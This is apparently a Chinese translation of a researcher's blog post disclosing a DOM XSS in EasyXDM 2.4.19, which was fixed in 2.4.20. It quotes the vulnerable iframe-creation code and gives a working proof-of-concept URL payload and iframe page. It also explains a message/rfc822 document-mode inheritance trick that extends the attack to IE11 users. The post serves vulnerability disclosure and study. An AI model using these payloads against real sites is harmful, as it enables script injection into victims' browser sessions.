滥用文档模式继承:EasyXDM 2.4.19 DOMXSS漏洞分析
滥用文档模式继承:EasyXDM 2.4.19 DOMXSS
在这篇文章中,我将解释EasyXDM 2.4.19存在的XSS问题。我已向开发者报告此问题,并已修复。
如果您是用户,请升级到EasyXDM 2.4.20版本。
发布安全更新 - 2.4.20 · oyvindkinsey/easyXDM · GitHub
此漏洞与@kkotowicz之前发现的漏洞不同:
技术细节
要复现此漏洞,需要一些特殊技巧。该漏洞仅在MSIE浏览器中有效,且文档模式必须设置为旧版本(IE7或5)。因为XSS存在于只有存在缺陷的浏览器才能通过的代码部分,而只有旧文档模式能满足此条件。
让我们看代码。XSS发生在以下createElement()部分:
if (HAS_NAME_PROPERTY_BUG) {
frame = document.createElement("<iframe name=\"" + config.props.name + "\"/>");
}
if语句条件中的HAS_NAME_PROPERTY_BUG变量只在有缺陷的浏览器上为true,它在以下函数中赋值:
function testForNamePropertyBug(){
var form = document.body.appendChild(document.createElement("form")),
input = form.appendChild(document.createElement("input"));
input.name = IFRAME_PREFIX + "TEST" + channelId;
HAS_NAME_PROPERTY_BUG = input !== form.elements[input.name];
document.body.removeChild(form);
}
此代码创建带有name属性的form和input元素,尝试通过name访问input元素。IE7模式似乎无法通过name访问JavaScript动态创建的元素,这段代码就是测试此行为。
我创建了一个测试页面,你可以确认HAS_NAME_PROPERTY_BUG变量在MSIE中变为true:
http://vulnerabledoma.in/easyxdm/name_property_test.html
让我们使用易受攻击的EasyXDM来确认此XSS。访问以下URL并通过F12开发者工具切换到IE7模式(F12 -> 仿真选项卡),你应该能看到alert对话框:
http://vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0
好的,我们知道它确实有效。但目前为止它只在IE7模式下工作,这意味着攻击机会非常有限。
因此,我们使用我最近在幻灯片中提到的"文档模式继承"技巧。
让我们使用这个:
http://l0.cm/easyxdm/poc.html
<meta http-equiv="x-ua-compatible" content="IE=5">
<iframe src="//vulnerabledoma.in/easyxdm/2.4.19_index.html?xdm_e=http%3A%2F%2Fvulnerabledoma.in&xdm_c=%22onload%3dalert(document.domain)//&xdm_p=0"></iframe>
<script>document.write("document.documentMode: "+document.documentMode)</script>
你仍然看不到alert对话框。父窗口通过meta标签运行在IE5模式,但iframe运行在IE8模式,因为iframe页面有。如果存在DOCTYPE,IE11最多只能将文档模式降级到IE8模式。要实现XSS,我们必须设法降级到IE7模式。
别担心!最近我发现IE在特定位置有强大的继承能力。你可以从这里测试:
http://l0.cm/easyxdm/poc.eml
最终,你可以看到alert对话框。与前者的区别在于此页面是Content-Type: message/rfc822格式,而非text/html。如我在幻灯片中所示,IE/Edge仍能在浏览器中打开message/rfc822文档。
看起来message/rfc822文档默认以IE5模式渲染,其文档模式继承能力比text/html页面更强。即使页面有,我们也能将文档模式降级到IE7模式。因此,我们可以触达易受攻击的代码。w00t! 😃
使用此技术可以扩大影响范围。原本只影响IE7模式的问题,现在可以影响所有IE11用户,而无需用户手动切换到旧文档模式。这是非常有用的技术,不是吗? 😃
我写了关于EasyXDM 2.4.19中的XSS问题。
就这些。感谢阅读我的文章!
Posted by Masato Kinugawa at 6:30 AM
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码